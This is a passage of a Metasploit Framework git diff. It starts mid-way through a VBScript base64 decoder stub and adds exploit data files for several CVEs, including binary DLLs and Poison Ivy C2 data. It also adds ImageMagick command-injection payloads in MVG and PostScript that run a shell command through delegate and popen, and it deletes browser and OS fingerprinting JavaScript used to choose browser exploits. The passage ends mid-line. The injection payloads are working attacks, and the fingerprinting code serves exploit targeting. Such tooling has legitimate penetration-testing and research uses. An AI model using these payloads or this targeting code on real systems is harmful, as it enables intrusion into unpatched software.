>>decode_stub -echo Wscript.Echo "The file is empty." >>decode_stub -echo End If >>decode_stub -echo Function base64_decode(byVal strIn) >>decode_stub -echo Dim w1, w2, w3, w4, n, strOut >>decode_stub -echo For n = 1 To Len(strIn) Step 4 >>decode_stub -echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub -echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub -echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub -echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub -echo If Not w2 Then _ >>decode_stub -echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub -echo If Not w3 Then _ >>decode_stub -echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub -echo If Not w4 Then _ >>decode_stub -echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub -echo Next >>decode_stub -echo base64_decode = strOut >>decode_stub -echo End Function >>decode_stub -echo Function mimedecode(byVal strIn) >>decode_stub -echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub -echo If Len(strIn) = 0 Then >>decode_stub -echo mimedecode = -1 : Exit Function >>decode_stub -echo Else >>decode_stub -echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub -echo End If >>decode_stub -echo End Function >>decode_stub diff --git a/data/exploits/cve-2016-0051/cve-2016-0051.x86.dll b/data/exploits/cve-2016-0051/cve-2016-0051.x86.dll new file mode 100644 index 0000000000..80027c8eb0 Binary files /dev/null and b/data/exploits/cve-2016-0051/cve-2016-0051.x86.dll differ diff --git a/data/exploits/cve-2016-0189/ielocalserver.dll b/data/exploits/cve-2016-0189/ielocalserver.dll new file mode 100644 index 0000000000..4993989f32 Binary files /dev/null and b/data/exploits/cve-2016-0189/ielocalserver.dll differ diff --git a/data/exploits/cve-2016-0189/ieshell32.dll b/data/exploits/cve-2016-0189/ieshell32.dll new file mode 100644 index 0000000000..898081d89b Binary files /dev/null and b/data/exploits/cve-2016-0189/ieshell32.dll differ diff --git a/data/exploits/cve-2016-6415/sendpacket.raw b/data/exploits/cve-2016-6415/sendpacket.raw new file mode 100755 index 0000000000..4e20f7988d Binary files /dev/null and b/data/exploits/cve-2016-6415/sendpacket.raw differ diff --git a/data/exploits/imagemagick/delegate/msf.mvg b/data/exploits/imagemagick/delegate/msf.mvg new file mode 100644 index 0000000000..e05ef9e59a --- /dev/null +++ b/data/exploits/imagemagick/delegate/msf.mvg @@ -0,0 +1,8 @@ +push graphic-context +encoding "UTF-8" +viewbox 0 0 1 1 +affine 1 0 0 1 0 0 +push graphic-context +image Over 0,0 1,1 'https://localhost";echo vulnerable > /dev/tty"' +pop graphic-context +pop graphic-context diff --git a/data/exploits/imagemagick/delegate/msf.ps b/data/exploits/imagemagick/delegate/msf.ps new file mode 100644 index 0000000000..f811ab6103 --- /dev/null +++ b/data/exploits/imagemagick/delegate/msf.ps @@ -0,0 +1,4 @@ +%!PS +currentdevice null true mark /OutputICCProfile (%pipe%echo vulnerable > /dev/tty) +.putdeviceparams +quit diff --git a/data/exploits/imagemagick/delegate/msf.svg b/data/exploits/imagemagick/delegate/msf.svg new file mode 100644 index 0000000000..0366d5da5b --- /dev/null +++ b/data/exploits/imagemagick/delegate/msf.svg @@ -0,0 +1,5 @@ + + + + diff --git a/data/exploits/imagemagick/popen/msf.mvg b/data/exploits/imagemagick/popen/msf.mvg new file mode 100644 index 0000000000..4317957963 --- /dev/null +++ b/data/exploits/imagemagick/popen/msf.mvg @@ -0,0 +1,8 @@ +push graphic-context +encoding "UTF-8" +viewbox 0 0 1 1 +affine 1 0 0 1 0 0 +push graphic-context +image Over 0,0 1,1 '|echo vulnerable > /dev/tty' +pop graphic-context +pop graphic-context diff --git a/data/exploits/imagemagick/popen/msf.svg b/data/exploits/imagemagick/popen/msf.svg new file mode 100644 index 0000000000..94398dfcb3 --- /dev/null +++ b/data/exploits/imagemagick/popen/msf.svg @@ -0,0 +1,5 @@ + + + + diff --git a/data/exploits/office_ole_multiple_dll_hijack.ppsx b/data/exploits/office_ole_multiple_dll_hijack.ppsx new file mode 100644 index 0000000000..bf2b767505 Binary files /dev/null and b/data/exploits/office_ole_multiple_dll_hijack.ppsx differ diff --git a/data/exploits/poison_ivy_c2/chunk_214.bin b/data/exploits/poison_ivy_c2/chunk_214.bin new file mode 100644 index 0000000000..04842202ea Binary files /dev/null and b/data/exploits/poison_ivy_c2/chunk_214.bin differ diff --git a/data/js/detect/ie_addons.js b/data/js/detect/ie_addons.js deleted file mode 100644 index 380da28d12..0000000000 --- a/data/js/detect/ie_addons.js +++ /dev/null @@ -1,89 +0,0 @@ -var ie_addons_detect = { }; - -/** - * Returns true if this ActiveX is available, otherwise false. - * Grabbed this directly from browser_autopwn.rb - **/ -ie_addons_detect.hasActiveX = function (axo_name, method) { - var axobj = null; - if (axo_name.substring(0,1) == String.fromCharCode(123)) { - axobj = document.createElement("object"); - axobj.setAttribute("classid", "clsid:" + axo_name); - axobj.setAttribute("id", axo_name); - axobj.setAttribute("style", "visibility: hidden"); - axobj.setAttribute("width", "0px"); - axobj.setAttribute("height", "0px"); - document.body.appendChild(axobj); - if (typeof(axobj[method]) == 'undefined') { - var attributes = 'id="' + axo_name + '"'; - attributes += ' classid="clsid:' + axo_name + '"'; - attributes += ' style="visibility: hidden"'; - attributes += ' width="0px" height="0px"'; - document.body.innerHTML += ""; - axobj = document.getElementById(axo_name); - } - } else { - try { - axobj = new ActiveXObject(axo_name); - } catch(e) { - // If we can't build it with an object tag and we can't build it - // with ActiveXObject, it can't be built. - return false; - }; - } - if (typeof(axobj[method]) != 'undefined') { - return true; - } - - return false; -}; - -/** - * Returns the version of Microsoft Office. If not found, returns null. - **/ -ie_addons_detect.getMsOfficeVersion = function () { - var version; - var types = new Array(); - for (var i=1; i <= 5; i++) { - try { - types[i-1] = typeof(new ActiveXObject("SharePoint.OpenDocuments." + i.toString())); - } - catch (e) { - types[i-1] = null; - } - } - - if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' && - types[3] == 'object' && types[4] == 'object') - { - version = "2012"; - } - else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' && - types[3] == 'object' && types[4] == null) - { - version = "2010"; - } - else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' && - types[3] == null && types[4] == null) - { - version = "2007"; - } - else if (types[0] == 'object' && types[1] == 'object' && types[2] == null && - types[3] == null && types[4] == null) - { - version = "2003"; - } - else if (types[0] == 'object' && types[1] == null && types[2] == null && - types[3] == null && types[4] == null) - { - // If run for the first time, you must manullay allow the "Microsoft Office XP" - // add-on to run. However, this prompt won't show because the ActiveXObject statement - // is wrapped in an exception handler. - version = "xp"; - } - else { - version = null; - } - - return version; -} \ No newline at end of file diff --git a/data/js/detect/misc_addons.js b/data/js/detect/misc_addons.js deleted file mode 100644 index 4246d752a7..0000000000 --- a/data/js/detect/misc_addons.js +++ /dev/null @@ -1,157 +0,0 @@ -var misc_addons_detect = { }; - - -/** - * Detects whether the browser supports Silverlight or not - **/ -misc_addons_detect.hasSilverlight = function () { - var found = false; - - // - // When on IE, we can use AgControl.AgControl to actually detect the version too. - // But this ability is specific to IE, so we fall back to just true/false response - // - try { - var ax = new ActiveXObject('AgControl.AgControl'); - found = true; - } catch(e) {} - - // - // ActiveX didn't get anything, try looking in MIMEs - // - if (!found) { - var mimes = window.navigator.mimeTypes; - for (var i=0; i < mimes.length; i++) { - if (/x\-silverlight/.test(mimes[i].type)) { - found = true; - break; - } - } - } - - // - // MIMEs didn't work either. Try navigator. - // - if (!found) { - var count = navigator.plugins.length; - for (var i=0; i < count; i++) { - var pluginName = navigator.plugins[i].name; - if (/Silverlight Plug\-In/.test(pluginName)) { - found = true; - break; - } - } - } - - return found; -} - -/** - * Returns the Adobe Flash version -**/ -misc_addons_detect.getFlashVersion = function () { - var foundVersion = null; - - // - // Gets the Flash version by using the GetVariable function via ActiveX - // - try { - var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString(); - foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.') - } catch (e) {} - - // - // This should work fine for most non-IE browsers - // - if (foundVersion == null) { - var mimes = window.navigator.mimeTypes; - for (var i=0; i foundVersion) { - foundVersion = version; - } - } - } - } - - // - // This finds the Java version from navigator plugins - // This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one. - // So we do this last. - // - if (foundVersion == null) { - var foundJavaString = ""; - var pluginsCount = navigator.plugins.length; - for (i=0; i < pluginsCount; i++) { - var pluginName = navigator.plugins[i].name; - var pluginVersion = navigator.plugins[i].version; - if (/Java/.test(pluginName) && pluginVersion != undefined) { - foundVersion = navigator.plugins[i].version; - break; - } - } - } - - return foundVersion; -} \ No newline at end of file diff --git a/data/js/detect/os.js b/data/js/detect/os.js deleted file mode 100644 index aafc60410a..0000000000 --- a/data/js/detect/os.js +++ /dev/null @@ -1,831 +0,0 @@ -// Case matters, see lib/msf/core/constants.rb -// All of these should match up with constants in ::Msf::HttpClients -var clients_opera = "Opera"; -var clients_ie = "MSIE"; -var clients_ff = "Firefox"; -var clients_chrome = "Chrome"; -var clients_safari = "Safari"; - -// All of these should match up with constants in ::Msf::OperatingSystems -var oses_linux = "Linux"; -var oses_android = "Android"; -var oses_windows = "Windows"; -var oses_mac_osx = "Mac OS X"; -var oses_apple_ios = "iOS"; -var oses_freebsd = "FreeBSD"; -var oses_netbsd = "NetBSD"; -var oses_openbsd = "OpenBSD"; - -// All of these should match up with the ARCH_* constants -var arch_armle = "armle"; -var arch_x86 = "x86"; -var arch_x86_64 = "x86_64"; -var arch_ppc = "ppc"; -var arch_mipsle = "mipsle"; - -var os_detect = {}; - -/** - * This can reliably detect browser versions for IE and Firefox even in the - * presence of a spoofed User-Agent. OS detection is more fragile and - * requires truthful navigator.appVersion and navigator.userAgent strings in - * order to be accurate for more than just IE on Windows. - **/ -os_detect.getVersion = function(){ - //Default values: - var os_name; - var os_vendor; - var os_device; - var os_flavor; - var os_sp; - var os_lang; - var ua_name; - var ua_version; - var arch = ""; - var useragent = navigator.userAgent; - // Trust but verify... - var ua_is_lying = false; - - var version = ""; - var unknown_fingerprint = null; - - var css_is_valid = function(prop, propCamelCase, css) { - if (!document.createElement) return false; - var d = document.createElement('div'); - d.setAttribute('style', prop+": "+css+";") - return d.style[propCamelCase] === css; - } - - var input_type_is_valid = function(input_type) { - if (!document.createElement) return false; - var input = document.createElement('input'); - input.setAttribute('type', input_type); - return input.type == input_type; - } - - //-- - // Client - //-- - if (window.opera) { - ua_name = clients_opera; - if (!navigator.userAgent.match(/Opera/)) { - ua_is_lying = true; - } - // This seems to be completely accurate, e.g. "9.21" is the return - // value of opera.version() when run on Opera 9.21 - ua_version = opera.version(); - if (!os_name) { - // The 'inconspicuous' argument is there to give us a real value on - // Opera 6 where, without it, the return value is supposedly - // 'Hm, were you only as smart as Bjorn Vermo...' - // though I have not verfied this claim. - switch (opera.buildNumber('inconspicuous')) { - case "344": // opera-9.0-20060616.1-static-qt.i386-en-344 - case "1347": // Opera 9.80 / Ubuntu 10.10 (Karmic Koala) - case "2091": // opera-9.52-2091.gcc3-shared-qt3.i386.rpm - case "2444": // opera-9.60.gcc4-shared-qt3.i386.rpm - case "2474": // Opera 9.63 / Debian Testing (Lenny) - case "4102": // Opera 10.00 / Ubuntu 8.04 LTS (Hardy Heron) - case "6386": // 10.61 - os_name = oses_linux; - break; - case "1074": // Opera 11.50 / Windows XP - case "1100": // Opera 11.52 / Windows XP - case "3445": // 10.61 - case "3516": // Opera 10.63 / Windows XP - case "7730": // Opera 8.54 / Windows XP - case "8502": // "Opera 9 Eng Setup.exe" - case "8679": // "Opera_9.10_Eng_Setup.exe" - case "8771": // "Opera_9.20_Eng_Setup.exe" - case "8776": // "Opera_9.21_Eng_Setup.exe" - case "8801": // "Opera_9.22_Eng_Setup.exe" - case "10108": // "Opera_952_10108_en.exe" - case "10467": // "Opera_962_en_Setup.exe" - case "10476": // Opera 9.63 / Windows XP - case "WMD-50433": // Windows Mobile - "Mozilla/5.0 (Windows Mobile; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00" - os_name = oses_windows; - break; - case "2480": // Opera 9.64 / FreeBSD 7.0 - os_name = oses_freebsd; - break; - case "6386": // 10.61 - os_name = oses_mac_osx; - break; - case "1407": - // In the case of mini versions, the UA is quite a bit - // harder to spoof, so it's correspondingly easier to - // trust. Unfortunately, despite being fairly truthful in - // what OS it's running on, Opera mini seems to lie like a - // rug in regards to the browser version. - // - // iPhone, iOS 5.0.1 - // Opera/9.80 (iPhone; Opera Mini/7.1.32694/27.1407; U; en) Presto/2.8.119 Version/11.10.10 - // Android 2.3.6, opera mini 7.1 - // Opera/9.80 (Android; Opera Mini/7.29530/27.1407; U; en) Presto/2.8.119 Version/11.101.10 - if (navigator.userAgent.indexOf("Android")) { - os_name = oses_android; - } else if (navigator.userAgent.indexOf("iPhone")) { - os_name = oses_apple_ios; - os_device = "iPhone"; - } - break; - // A few are ambiguous, record them here - case "1250": - // Opera 9.80 / Windows XP - // Opera 11.61 / Windows XP - // Opera 11.61 / Debian 4.0 (Etch) - break; - default: - unknown_fingerprint = opera.buildNumber('inconspicuous'); - break; - } - } - } else if (typeof window.onmousewheel != 'undefined' && ! (typeof ScriptEngineMajorVersion == 'function') ) { // IE 10 now has onmousewheel - - // Then this is webkit, could be Safari or Chrome. - // Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 - // Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5 - // Mozilla/5.0 (Linux; U; Android 2.2; en-au; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 - // Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8C148 - // Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405 - // Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3 - - // Google Chrome has window.google (older versions), window.chromium (older versions), and window.window.chrome (3+) - if (window.chromium || window.google || window.chrome) { - ua_name = clients_chrome; - search = "Chrome"; - } else { - ua_name = clients_safari; - search = "Version"; - } - - platform = navigator.platform.toLowerCase(); - // Just to be a pain, iPod and iPad both leave off "Safari" and - // "Version" in the UA, see example above. Grab the webkit version - // instead. =/ - if (platform.match(/ipod/)) { - os_name = oses_apple_ios; - os_device = "iPod"; - arch = arch_armle; - search = "AppleWebKit"; - } else if (platform.match(/ipad/)) { - os_name = oses_apple_ios; - os_device = "iPad"; - arch = arch_armle; - search = "AppleWebKit"; - } else if (platform.match(/iphone/)) { - os_name = oses_apple_ios; - os_device = "iPhone"; - arch = arch_armle; - } else if (platform.match(/macintel/)) { - os_name = oses_mac_osx; - arch = arch_x86; - } else if (platform.match(/linux/)) { - os_name = oses_linux; - - if (platform.match(/x86_64/)) { - arch = arch_x86_64; - } else if (platform.match(/arm/)) { - arch = arch_armle; - } else if (platform.match(/x86/)) { - arch = arch_x86; - } else if (platform.match(/mips/)) { - arch = arch_mipsle; - } - - // Android overrides Linux - if (navigator.userAgent.match(/android/i)) { - os_name = oses_android; - } - } else if (platform.match(/windows/)) { - os_name = oses_windows; - } - - ua_version = this.searchVersion(search, navigator.userAgent); - if (!ua_version || 0 == ua_version.length) { - ua_is_lying = true; - } - } else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) { - // Use taintEnabled to identify FF since other recent browsers - // implement window.getComputedStyle now. For some reason, checking for - // taintEnabled seems to cause IE 6 to stop parsing, so make sure this - // isn't IE first. - - // Also check MozBlobBuilder because FF 9.0.1 does not support taintEnabled - - // Then this is a Gecko derivative, assume Firefox since that's the - // only one we have sploits for. We may need to revisit this in the - // future. This works for multi/browser/mozilla_compareto against - // Firefox and Mozilla, so it's probably good enough for now. - ua_name = clients_ff; - // Thanks to developer.mozilla.org "Firefox for developers" series for most - // of these. - // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if ('closest' in Element.prototype) { - ua_version = '35.0'; - } else if ('matches' in Element.prototype) { - ua_version = '34.0'; - } else if ('RadioNodeList' in window) { - ua_version = '33.0'; - } else if ('copyWithin' in Array.prototype) { - ua_version = '32.0'; - } else if ('fill' in Array.prototype) { - ua_version = '31.0'; - } else if (css_is_valid('background-blend-mode', 'backgroundBlendMode', 'multiply')) { - ua_version = '30.0'; - } else if (css_is_valid('box-sizing', 'boxSizing', 'border-box')) { - ua_version = '29.0'; - } else if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) { - ua_version = '28.0'; - } else if (css_is_valid('cursor', 'cursor', 'grab')) { - ua_version = '27.0'; - } else if (css_is_valid('image-orientation', - 'imageOrientation', - '0deg')) { - ua_version = '26.0'; - } else if (css_is_valid('background-attachment', - 'backgroundAttachment', - 'local')) { - ua_version = '25.0'; - } else if ('DeviceStorage' in window && window.DeviceStorage && - 'default' in window.DeviceStorage.prototype) { - // https://bugzilla.mozilla.org/show_bug.cgi?id=874213 - ua_version = '24.0'; - } else if (input_type_is_valid('range')) { - ua_version = '23.0'; - } else if ('HTMLTimeElement' in window) { - ua_version = '22.0'; - } else if ('createElement' in document && - document.createElement('main') && - document.createElement('main').constructor === window['HTMLElement']) { - ua_version = '21.0'; - } else if ('imul' in Math) { - ua_version = '20.0'; - } else if (css_is_valid('font-size', 'fontSize', '23vmax')) { - ua_version = '19.0'; - } else if ('devicePixelRatio' in window) { - ua_version = '18.0'; - } else if ('createElement' in document && - document.createElement('iframe') && - 'sandbox' in document.createElement('iframe')) { - ua_version = '17.0'; - } else if ('mozApps' in navigator && 'install' in navigator.mozApps) { - ua_version = '16.0'; - } else if ('HTMLSourceElement' in window && - HTMLSourceElement.prototype && - 'media' in HTMLSourceElement.prototype) { - ua_version = '15.0'; - } else if ('mozRequestPointerLock' in document.body) { - ua_version = '14.0'; - } else if ('Map' in window) { - ua_version = "13.0"; - } else if ('mozConnection' in navigator) { - ua_version = "12.0"; - } else if ('mozVibrate' in navigator) { - ua_version = "11.0"; - } else if (css_is_valid('-moz-backface-visibility', 'MozBackfaceVisibility', 'hidden')) { - ua_version = "10.0"; - } else if ('doNotTrack' in navigator) { - ua_version = "9.0"; - } else if ('insertAdjacentHTML' in document.body) { - ua_version = "8.0"; - } else if ('ondeviceorientation' in window && !('createEntityReference' in document)) { - ua_version = "7.0"; - } else if ('MozBlobBuilder' in window) { - ua_version = "6.0"; - } else if ('isGenerator' in Function) { - ua_version = "5.0"; - } else if ('isArray' in Array) { - ua_version = "4.0"; - } else if (document.readyState) { - ua_version = "3.6"; - } else if (String.trimRight) { - ua_version = "3.5"; - } else if (document.getElementsByClassName) { - ua_version = "3"; - } else if (window.Iterator) { - ua_version = "2"; - } else if (Array.every) { - ua_version = "1.5"; - } else { - ua_version = "1"; - } - if (navigator.oscpu != navigator.platform) { - ua_is_lying = true; - } - // oscpu is unaffected by changes in the useragent and has values like: - // "Linux i686" - // "Windows NT 6.0" - // haven't tested on 64-bit Windows - version = navigator.oscpu; - if (version.match(/i.86/)) { - arch = arch_x86; - } - if (version.match(/x86_64/)) { - arch = arch_x86_64; - } - if (version.match(/Windows/)) { - os_name = oses_windows; - // Technically these will mismatch server OS editions, but those are - // rarely used as client systems and typically have the same exploit - // characteristics as the associated client. - switch(version) { - case "Windows NT 5.0": os_name = "Windows 2000"; break; - case "Windows NT 5.1": os_name = "Windows XP"; break; - case "Windows NT 5.2": os_name = "Windows 2003"; break; - case "Windows NT 6.0": os_name = "Windows Vista"; break; - case "Windows NT 6.1": os_name = "Windows 7"; break; - case "Windows NT 6.2": os_name = "Windows 8"; break; - case "Windows NT 6.3": os_name = "Windows 8.1"; break; - } - } - if (version.match(/Linux/)) { - os_name = oses_linux; - } - // end navigator.oscpu checks - } else if (typeof ScriptEngineMajorVersion == "function") { - // Then this is IE and we can very reliably detect the OS. - // Need to add detection for IE on Mac. Low priority, since we - // don't have any sploits for it yet and it's a very low market - // share. - os_name = oses_windows; - ua_name = clients_ie; - version_maj = ScriptEngineMajorVersion().toString(); - version_min = ScriptEngineMinorVersion().toString(); - version_build = ScriptEngineBuildVersion().toString(); - - version = version_maj + version_min + version_build; - - //document.write("ScriptEngine: "+version+"
"); - switch (version){ - case "514615": - // IE 5.00.2920.0000, 2000 Advanced Server SP0 English - ua_version = "5.0"; - os_name = "Windows 2000"; - os_sp = "SP0"; - break; - case "515907": - os_name = "Windows 2000"; - os_sp = "SP3"; //or SP2: oCC.getComponentVersion('{22d6f312-b0f6-11d0-94ab-0080c74c7e95}', 'componentid') => 6,4,9,1109 - break; - case "518513": - os_name = "Windows 2000"; - os_sp = "SP4"; - break; - case "566626": - // IE 6.0.2600.0000, XP SP0 English - // IE 6.0.2800.1106, XP SP1 English - ua_version = "6.0"; - os_name = "Windows XP"; - os_sp = "SP0"; - break; - case "568515": - // IE 6.0.3790.0, 2003 Standard SP0 English - ua_version = "6.0"; - os_name = "Windows 2003"; - os_sp = "SP0"; - break; - case "568820": - // IE 6.0.2900.2180, xp sp2 english - os_name = "Windows XP"; - os_sp = "SP2"; - break; - case "568827": - os_name = "Windows 2003"; - os_sp = "SP1"; - break; - case "568831": //XP SP2 -OR- 2K SP4 - if (os_name == "2000"){ - os_sp = "SP4"; - } - else{ - os_name = "Windows XP"; - os_sp = "SP2"; - } - break; - case "568832": - os_name = "Windows 2003"; - os_sp = "SP2"; - break; - case "568837": - // IE 6.0.2900.2180, XP Professional SP2 Korean - ua_version = "6.0"; - os_name = "Windows XP"; - os_sp = "SP2"; - break; - case "5716599": - // IE 7.0.5730.13, XP Professional SP3 English - // IE 6.0.2900.5512, XP Professional SP3 English - // IE 6.0.2900.5512, XP Professional SP3 Spanish - // - // Since this scriptengine applies to more than one major version of - // IE, rely on the object detection below to determine ua_version. - //ua_version = "6.0"; - os_name = "Windows XP"; - os_sp = "SP3"; - break; - case "575730": - // IE 7.0.5730.13, Server 2003 Standard SP2 English - // IE 7.0.5730.13, Server 2003 Standard SP1 English - // IE 7.0.5730.13, XP Professional SP2 English - // Rely on the user agent matching above to determine the OS. - // This will incorrectly identify 2k3 SP1 as SP2 - ua_version = "7.0"; - os_sp = "SP2"; - break; - case "5718066": - // IE 7.0.5730.13, XP Professional SP3 English - ua_version = "7.0"; - os_name = "Windows XP"; - os_sp = "SP3"; - break; - case "5722589": - // IE 7.0.5730.13, XP Professional SP3 English - ua_version = "7.0"; - os_name = "Windows XP"; - os_sp = "SP3"; - break; - case "576000": - // IE 7.0.6000.16386, Vista Ultimate SP0 English - ua_version = "7.0"; - os_name = "Windows Vista"; - os_sp = "SP0"; - break; - case "580": - // IE 8.0.7100.0, Windows 7 English - // IE 8.0.7100.0, Windows 7 64-bit English - case "5816385": - // IE 8.0.7600.16385, Windows 7 English - case "5816475": - case "5816762": - // IE 8.0.7600.16385, Windows 7 English - ua_version = "8.0"; - os_name = "Windows 7"; - os_sp = "SP0"; - break; - case "5817514": - // IE 8.0.7600.17514, Windows 7 SP1 English - ua_version = "8.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "5818702": - // IE 8.0.6001.18702, XP Professional SP3 English - case "5822960": - // IE 8.0.6001.18702, XP Professional SP3 Greek - ua_version = "8.0"; - os_name = "Windows XP"; - os_sp = "SP3"; - break; - case "9016406": - // IE 9.0.7930.16406, Windows 7 64-bit - ua_version = "9.0"; - os_name = "Windows 7"; - os_sp = "SP0"; - break; - case "9016441": - // IE 9.0.8112.16421, Windows 7 32-bit English - ua_version = "9.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "9016443": - // IE 9.0.8112.16421, Windows 7 Polish - // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) - ua_version = "9.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "9016446": - // IE 9.0.8112.16421, Windows 7 English (Update Versions: 9.0.7 (KB2699988) - // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2) - ua_version = "9.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "9016464": - // browsershots.org, MSIE 7.0 / Windows 2008 R2 - os_name = "Windows 2008 R2"; - ua_version = "9.0"; - break; - case "9016470": - // IE 9.0.8112.16421 / Windows 7 SP1 - ua_version = "9.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "9016502": - // IE 9.0.8112.16502 / Windows 7 SP1 - ua_version = "9.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "9016506": - // IE 9.0.8112.16506 / Windows 7 SP1 - ua_version = "9.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "9016514": - // IE 9.0.8112.16514 / Windows 7 SP1 - ua_version = "9.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "9016520": - // IE 9.0.8112.16520 / Windows 7 SP1 - ua_version = "9.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "9016526": - // IE 9.0.8112.16526 / Windows 7 SP1 - ua_version = "9.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "9016533": - // IE 9.0.8112.16533 / Windows 7 SP1 - ua_version = "9.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "10016720": - // IE 10.0.9200.16721 / Windows 7 SP1 - ua_version = "10.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "11016428": - // IE 11.0.9600.16428 / Windows 7 SP1 - ua_version = "11.0"; - os_name = "Windows 7"; - os_sp = "SP1"; - break; - case "10016384": - // IE 10.0.9200.16384 / Windows 8 x86 - ua_version = "10.0"; - os_name = "Windows 8"; - os_sp = "SP0"; - break; - case "11016426": - // IE 11.0.9600.16476 / KB2898785 (Technically: 11.0.2) Windows 8.1 x86 English - ua_version = "11.0"; - os_name = "Windows 8.1"; - break; - case "1000": - // IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release - ua_version = "10.0"; - os_name = "Windows 8"; - os_sp = "SP0"; - break; - case "1100": - // IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview - ua_version = "11.0"; - os_name = "Windows 10"; - os_sp = "SP0"; - break; - default: - unknown_fingerprint = version; - break; - } - - if (!ua_version) { - // The ScriptEngine functions failed us, try some object detection - if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") { - // IE 11 detection, see: http://msdn.microsoft.com/en-us/library/ie/bg182625(v=vs.85).aspx - try { - if (document.__proto__ != undefined) { ua_version = "11.0"; } - } catch (e) {} - - // IE 10 detection using nodeName - if (!ua_version) { - try { - var badNode = document.createElement && document.createElement("badname"); - if (badNode && badNode.nodeName === "BADNAME") { ua_version = "10.0"; } - } catch(e) {} - } - - // IE 9 detection based on a "Object doesn't support property or method" error - if (!ua_version) { - try { - document.BADNAME(); - } catch(e) { - if (e.message.indexOf("BADNAME") > 0) { - ua_version = "9.0"; - } - } - } - - // IE8 detection straight from IEBlog. Thank you Microsoft. - if (!ua_version) { - try { - ua_version = "8.0"; - document.documentElement.style.display = "table-cell"; - } catch(e) { - // This executes in IE7, - // but not IE8, regardless of mode - ua_version = "7.0"; - } - } - } else if (document.compatMode) { - ua_version = "6.0"; - } else if (window.createPopup) { - ua_version = "5.5"; - } else if (window.attachEvent) { - ua_version = "5.0"; - } else { - ua_version = "4.0"; - } - switch (navigator.appMinorVersion){ - case ";SP2;": - os_sp = "SP2"; - break; - } - } - } - - if (!os_name && navigator.platform == "Win32") { os_name = oses_windows; } - - //-- - // Figure out the type of Windows - //-- - if (!ua_is_lying) { - version = useragent.toLowerCase(); - } else if (navigator.oscpu) { - // Then this is Gecko and we can get at least os_name without the - // useragent - version = navigator.oscpu.toLowerCase(); - } else { - // All we have left is the useragent and we know it's lying, so don't bother - version = " "; - } - if (!os_name || 0 == os_name.length) { - if (version.indexOf("windows") != -1) { os_name = oses_windows; } - else if (version.indexOf("mac") != -1) { os_name = oses_mac_osx; } - else if (version.indexOf("linux") != -1) { os_name = oses_linux; } - } - if (os_name == oses_windows) { - if (version.indexOf("windows 95") != -1) { os_name = "Windows 95"; } - else if (version.indexOf("windows nt 4") != -1) { os_name = "Windows NT"; } - else if (version.indexOf("win 9x 4.9") != -1) { os_name = "Windows ME"; } - else if (version.indexOf("windows 98") != -1) { os_name = "Windows 98"; } - else if (version.indexOf("windows nt 5.0") != -1) { os_name = "Windows 2000"; } - else if (version.indexOf("windows nt 5.1") != -1) { os_name = "Windows XP"; } - else if (version.indexOf("windows nt 5.2") != -1) { os_name 